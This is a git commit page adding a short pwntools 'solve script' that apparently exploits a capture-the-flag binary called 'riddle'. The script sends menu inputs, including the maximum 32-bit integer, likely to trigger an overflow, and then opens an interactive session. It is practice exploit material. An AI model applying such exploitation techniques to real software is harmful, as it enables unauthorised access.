solve script
This commit is contained in:
@@ -0,0 +1,17 @@
|
|||||||
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
context.binary = target = ELF("./riddle", checksec=False)
|
||||||
|
r = process()
|
||||||
|
|
||||||
|
# funcs
|
||||||
|
s = lambda a: r.sendlineafter(b">> ", a)
|
||||||
|
ss = lambda a: r.sendlineafter(b": ", a)
|
||||||
|
|
||||||
|
# buf
|
||||||
|
s(b"1")
|
||||||
|
ss(b"2147483647")
|
||||||
|
ss(b"1")
|
||||||
|
|
||||||
|
r.interactive()
|
||||||
Reference in New Issue
Block a user